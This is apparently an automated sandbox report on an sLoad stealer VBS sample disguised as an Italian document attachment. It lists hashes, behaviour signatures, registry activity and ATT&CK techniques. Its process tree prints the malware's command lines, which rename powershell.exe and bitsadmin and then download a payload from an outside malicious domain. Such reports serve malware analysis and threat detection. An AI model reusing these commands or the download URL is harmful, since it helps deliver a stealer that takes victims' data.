sload | 41c17c8d5677a83251270e73488a1fc122c9b1ba571b411b0e0ef439302ae866

General

Target

Allegato_doc_JNKMTJ64B29L424O.vbs
Size

8KB
MD5

5d2f707cea7e80c85d83f14213e1d7e0
SHA1

6a7e4e3a532ef4cbbf77508931324a20fe79d7e2
SHA256

d3d75e2f255c63ccc14496877d562f04641da53ce9bf064b1b8e4969034cce9a
SHA512

beb572b51df993ed0a7464789a211d79b906387fdcceff2bcb517c98f83c933fc3513c6e707ae3b7209b1f6d618ccbd7284b17704083b8023e1c61ccf6868090

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload
Executes dropped EXE 1 IoCs

Processes:

wjOytesin.exe

pid process

3616 wjOytesin.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation WScript.exe

pid	process
3616	wjOytesin.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in Windows directory 3 IoCs

Processes:

svchost.exeTiWorker.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MusNotifyIcon.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4348"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4124"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.009703"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.081500"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "8.330232"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4148"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132901337433154351"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "5.633851"	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

TiWorker.exe

description	pid	process
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe
Token: SeRestorePrivilege	1180	TiWorker.exe
Token: SeSecurityPrivilege	1180	TiWorker.exe
Token: SeBackupPrivilege	1180	TiWorker.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.execmd.exe

description	pid	process	target process
PID 3272 wrote to memory of 2572	3272	WScript.exe	cmd.exe
PID 3272 wrote to memory of 2572	3272	WScript.exe	cmd.exe
PID 2572 wrote to memory of 3996	2572	cmd.exe	cmd.exe
PID 2572 wrote to memory of 3996	2572	cmd.exe	cmd.exe
PID 2572 wrote to memory of 1428	2572	cmd.exe	cmd.exe
PID 2572 wrote to memory of 1428	2572	cmd.exe	cmd.exe
PID 3272 wrote to memory of 3616	3272	WScript.exe	wjOytesin.exe
PID 3272 wrote to memory of 3616	3272	WScript.exe	wjOytesin.exe
PID 3272 wrote to memory of 3616	3272	WScript.exe	wjOytesin.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_JNKMTJ64B29L424O.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe
    3⤵
    PID:3996
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
    3⤵
    PID:1428
- C:\ProgramData\wjOytesin.exe
  "C:\ProgramData\wjOytesin.exe" /transfer szPZvX /download https://cxminute.com/minu/JNKMTJ64B29L424O/uk.css C:\Users\Admin\AppData\Roaming\uk.css
  2⤵
  - Executes dropped EXE
  PID:3616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3564

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1180

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:2364

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\wjOytesin.exe

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit
C:\ProgramData\wjOytesin.exe

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads